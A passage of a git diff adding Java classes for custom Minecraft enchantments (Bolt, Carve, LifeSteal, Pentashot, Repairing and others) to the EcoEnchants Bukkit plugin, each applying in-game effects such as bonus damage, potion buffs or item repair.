EnchantmentType.SPECIAL, Target.Applicable.TRIDENT, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void bladedHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Trident)) + return; + + if(!(((Trident) event.getDamager()).getShooter() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) ((Trident) event.getDamager()).getShooter(); + Trident trident = (Trident) event.getDamager(); + ItemStack item = TridentStack.getTridentStack(trident); + + + if (!HasEnchant.item(item, this)) return; + + int level = HasEnchant.getItemLevel(item, this); + + double baseDamage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-more-base"); + double perLevelDamage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-more-per-level"); + + double totalDamagePercent = (100 + baseDamage + (perLevelDamage * level))/100; + + event.setDamage(event.getDamage() * totalDamagePercent); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Bolt.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Bolt.java new file mode 100644 index 00000000..d38f5036 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Bolt.java @@ -0,0 +1,56 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Lightning; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Bolt extends EcoEnchant { + public Bolt() { + super( + new EcoEnchantBuilder("bolt", EnchantmentType.SPECIAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + double damage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "lightning-damage"); + + Lightning.strike(victim, damage); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Carve.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Carve.java new file mode 100644 index 00000000..ee7d7425 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Carve.java @@ -0,0 +1,67 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.metadata.FixedMetadataValue; + +@SuppressWarnings("deprecation") +public class Carve extends EcoEnchant { + public Carve() { + super( + new EcoEnchantBuilder("carve", EnchantmentType.SPECIAL, Target.Applicable.AXE, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onDamage(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(victim.hasMetadata("carved")) + return; + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double damagePerLevel = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-percentage-per-level") * 0.01; + double radiusPerLevel = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "radius-per-level"); + final double damage = damagePerLevel * level * event.getDamage(); + final double radius = radiusPerLevel * level; + + victim.getNearbyEntities(radius, radius, radius).stream() + .filter(entity -> entity instanceof LivingEntity) + .filter(entity -> !entity.equals(player)) + .forEach(entity -> { + entity.setMetadata("carved", new FixedMetadataValue(Main.getInstance(), true)); + ((LivingEntity) entity).damage(damage, player); + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> entity.removeMetadata("carved", Main.getInstance()), 5); + }); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Confusion.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Confusion.java new file mode 100644 index 00000000..a7547acd --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Confusion.java @@ -0,0 +1,65 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.inventory.ItemStack; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +@SuppressWarnings("deprecation") +public class Confusion extends EcoEnchant { + public Confusion() { + super( + new EcoEnchantBuilder("confusion", EnchantmentType.SPECIAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void confusionHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getDamager(); + + Player victim = (Player) event.getEntity(); + + if(!AntiGrief.canInjurePlayer(player, victim)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level"); + if (Rand.randFloat(0, 1) > level * 0.01 * chance) + return; + + List hotbar = new ArrayList(); + for (int i = 0; i < 9; i++) { + hotbar.add(victim.getInventory().getItem(i)); + } + Collections.shuffle(hotbar); + int i2 = 0; + for (ItemStack item : hotbar) { + victim.getInventory().setItem(i2, item); + i2++; + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Energizing.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Energizing.java new file mode 100644 index 00000000..b2050833 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Energizing.java @@ -0,0 +1,37 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +public class Energizing extends EcoEnchant { + public Energizing() { + super( + new EcoEnchantBuilder("energizing", EnchantmentType.SPECIAL, Target.Applicable.TOOL, 4.0) + ); + } + // START OF LISTENERS + + @EventHandler + public void onEnergizingBreak(BlockBreakEvent event) { + if(event.isCancelled()) return; + Player player = event.getPlayer(); + if(!AntiGrief.canBreakBlock(player, event.getBlock())) return; + if(!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + int duration = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "ticks-per-level") * level; + int amplifier = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "initial-level") + (level - 2); + + player.addPotionEffect(new PotionEffect(PotionEffectType.FAST_DIGGING, duration, amplifier, true, true, true)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Frenzy.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Frenzy.java new file mode 100644 index 00000000..5737bf05 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Frenzy.java @@ -0,0 +1,38 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDeathEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +public class Frenzy extends EcoEnchant { + public Frenzy() { + super( + new EcoEnchantBuilder("frenzy", EnchantmentType.SPECIAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + // START OF LISTENERS + + @EventHandler + public void onFrenzyKill(EntityDeathEvent event) { + if (event.getEntity().getKiller() == null) + return; + + Player player = event.getEntity().getKiller(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + int duration = (int) (level * 20 * this.getConfig().getDouble((EcoEnchants.CONFIG_LOCATION + "seconds-per-level"))); + int amplifier = level; + + player.addPotionEffect(new PotionEffect(PotionEffectType.INCREASE_DAMAGE, duration, amplifier, true, true, true)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Harpoon.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Harpoon.java new file mode 100644 index 00000000..253fc26f --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Harpoon.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.player.PlayerFishEvent; + +@SuppressWarnings("deprecation") +public class Harpoon extends EcoEnchant { + public Harpoon() { + super( + new EcoEnchantBuilder("harpoon", EnchantmentType.SPECIAL, Target.Applicable.ROD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onFish(PlayerFishEvent event) { + if(!event.getState().equals(PlayerFishEvent.State.CAUGHT_ENTITY)) + return; + + if(!(event.getCaught() instanceof LivingEntity)) + return; + + Player player = event.getPlayer(); + + LivingEntity victim = (LivingEntity) event.getCaught(); + + if(victim.hasMetadata("NPC")) return; + + if(!AntiGrief.canInjureMob(player, victim)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double damagePerLevel = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-per-level"); + double damage = damagePerLevel * level; + victim.damage(damage, player); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Indestructibility.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Indestructibility.java new file mode 100644 index 00000000..399cb841 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Indestructibility.java @@ -0,0 +1,37 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.event.EventHandler; +import org.bukkit.event.player.PlayerItemDamageEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Indestructibility extends EcoEnchant { + public Indestructibility() { + super( + new EcoEnchantBuilder("indestructibility", EnchantmentType.SPECIAL, Target.Applicable.ALL, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onItemDamage(PlayerItemDamageEvent event) { + ItemStack item = event.getItem(); + + if (!HasEnchant.item(item, this)) return; + + double level = HasEnchant.getItemLevel(item, this); + double levelbonus = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "level-bonus"); + + if(Rand.randFloat(0, 1) < (100/ (level + (1 + levelbonus))/100)) return; + + event.setCancelled(true); + event.setDamage(0); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Instability.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Instability.java new file mode 100644 index 00000000..30878c9b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Instability.java @@ -0,0 +1,56 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.ProjectileHitEvent; + +@SuppressWarnings("deprecation") +public class Instability extends EcoEnchant { + public Instability() { + super( + new EcoEnchantBuilder("instability", EnchantmentType.SPECIAL, new Target.Applicable[]{Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onInstabilityLand(ProjectileHitEvent event) { + if (event.getEntityType() != EntityType.ARROW) + return; + + if (!(event.getEntity().getShooter() instanceof Player)) + return; + + Player player = (Player) event.getEntity().getShooter(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (!(event.getEntity() instanceof Arrow)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + boolean fire = this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "fire"); + boolean breakblocks = this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "break-blocks"); + + float power = (float) (0.5 + (level * 0.5)); + + if (!AntiGrief.canCreateExplosion(player, event.getEntity().getLocation())) return; + if (breakblocks) { + if (!AntiGrief.canBreakBlock(player, event.getEntity().getLocation().getWorld().getBlockAt(event.getEntity().getLocation()))) + return; + } + + event.getEntity().getWorld().createExplosion(event.getEntity().getLocation().getX(), event.getEntity().getLocation().getY(), event.getEntity().getLocation().getZ(), power, fire, breakblocks); + + event.getEntity().remove(); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Intellect.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Intellect.java new file mode 100644 index 00000000..ddb21805 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Intellect.java @@ -0,0 +1,34 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.events.naturalexpgainevent.NaturalExpGainEvent; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; + +@SuppressWarnings("deprecation") +public class Intellect extends EcoEnchant { + public Intellect() { + super( + new EcoEnchantBuilder("intellect", EnchantmentType.SPECIAL, new Target.Applicable[]{Target.Applicable.TOOL, Target.Applicable.SWORD, Target.Applicable.TRIDENT, Target.Applicable.BOW, Target.Applicable.CROSSBOW, Target.Applicable.ROD}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onExpChange(NaturalExpGainEvent event) { + Player player = event.getExpChangeEvent().getPlayer(); + + if(event.getExpChangeEvent().getAmount() < 0) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + event.getExpChangeEvent().setAmount((int) Math.ceil(event.getExpChangeEvent().getAmount() * (1 + (level * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "bonus-per-point"))))); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/LifeSteal.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/LifeSteal.java new file mode 100644 index 00000000..ebebcfa3 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/LifeSteal.java @@ -0,0 +1,55 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.attribute.Attribute; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class LifeSteal extends EcoEnchant { + public LifeSteal() { + super( + new EcoEnchantBuilder("life_steal", EnchantmentType.SPECIAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) event.getDamager(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double damage = event.getDamage(); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level"); + double amountToHeal = damage * level * multiplier; + double newHealth = player.getHealth() + amountToHeal; + if (newHealth > player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue()) { + newHealth = player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue(); + } + player.setHealth(newHealth); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Pentashot.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Pentashot.java new file mode 100644 index 00000000..f2455be0 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Pentashot.java @@ -0,0 +1,52 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.AbstractArrow; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityShootBowEvent; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Pentashot extends EcoEnchant { + public Pentashot() { + super( + new EcoEnchantBuilder("pentashot", EnchantmentType.SPECIAL, Target.Applicable.BOW, 4.01) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onPentashotShoot(EntityShootBowEvent event) { + if (event.getProjectile().getType() != EntityType.ARROW) + return; + + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + for (int i = -2; i <= 2; i += 1) { + if(i == 0) continue; + + Vector velocity = event.getProjectile().getVelocity(); + + float radians = (float) ((float) i * Math.toRadians(this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "angle"))); + velocity.rotateAroundY(radians); + + Arrow arrow = player.launchProjectile(Arrow.class, velocity); + if(HasEnchant.playerHeld(player, Enchantment.ARROW_FIRE)) arrow.setFireTicks(Integer.MAX_VALUE); + arrow.setPickupStatus(AbstractArrow.PickupStatus.DISALLOWED); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Preservation.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Preservation.java new file mode 100644 index 00000000..7ea6a795 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Preservation.java @@ -0,0 +1,42 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageEvent; + +@SuppressWarnings("deprecation") +public class Preservation extends EcoEnchant { + public Preservation() { + super( + new EcoEnchantBuilder("preservation", EnchantmentType.SPECIAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onPreservationHurt(EntityDamageEvent event) { + if(event.getCause().equals(EntityDamageEvent.DamageCause.FALL)) return; + + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + int totalPreservationPoints = HasEnchant.getArmorPoints(player, this, true); + + if (totalPreservationPoints == 0) + return; + + double reduction = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-less-per-level"); + + double multiplier = 1 - (reduction/100 * totalPreservationPoints); + + event.setDamage(event.getDamage() * multiplier); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Prosperity.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Prosperity.java new file mode 100644 index 00000000..0bcf93eb --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Prosperity.java @@ -0,0 +1,16 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.nms.Target; + +@SuppressWarnings("deprecation") +public class Prosperity extends EcoEnchant { + public Prosperity() { + super( + new EcoEnchantBuilder("prosperity", EnchantmentType.SPECIAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // Prosperity listeners are located in Thrive +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Razor.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Razor.java new file mode 100644 index 00000000..263261ed --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Razor.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Razor extends EcoEnchant { + public Razor() { + super( + new EcoEnchantBuilder("razor", EnchantmentType.SPECIAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void razorHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double perLevelMultiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "per-level-multiplier"); + double baseDamage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "base-damage"); + double extra = level*perLevelMultiplier + baseDamage; + if(this.getConfig().getBool((EcoEnchants.CONFIG_LOCATION) + "decrease-if-cooldown")) { + extra *= Cooldown.getCooldown(player); + } + + event.setDamage(event.getDamage() + extra); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Repairing.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Repairing.java new file mode 100644 index 00000000..d363d460 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Repairing.java @@ -0,0 +1,53 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.task.EcoRunnable; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.ItemDurability; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.Repairable; + +import java.util.Arrays; + +@SuppressWarnings("deprecation") +public class Repairing extends EcoEnchant implements EcoRunnable { + public Repairing() { + super( + new EcoEnchantBuilder("repairing", EnchantmentType.SPECIAL, Target.Applicable.ALL, 4.0) + ); + } + + @Override + public void run() { + Main.getInstance().getServer().getOnlinePlayers().parallelStream().forEach((player -> { + if(Arrays.stream(player.getInventory().getContents()).parallel().noneMatch(item2 -> HasEnchant.item(item2, EcoEnchants.REPAIRING))) + return; + + for(ItemStack item : player.getInventory().getContents()) { + if(!HasEnchant.item(item, EcoEnchants.REPAIRING)) continue; + + if(!(item.getItemMeta() instanceof Repairable)) continue; + + if(player.getInventory().getItemInMainHand().equals(item)) continue; + if(player.getInventory().getItemInOffHand().equals(item)) continue; + if(player.getItemOnCursor().equals(item)) continue; + + + int level = HasEnchant.getItemLevel(item, EcoEnchants.REPAIRING); + int multiplier = EcoEnchants.REPAIRING.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "multiplier"); + int repairAmount = level * multiplier; + + ItemDurability.repairItem(item, repairAmount); + } + })); + } + + @Override + public long getTime() { + return this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "repeat-ticks"); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Soulbound.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Soulbound.java new file mode 100644 index 00000000..f7ab2abe --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Soulbound.java @@ -0,0 +1,64 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.entity.PlayerDeathEvent; +import 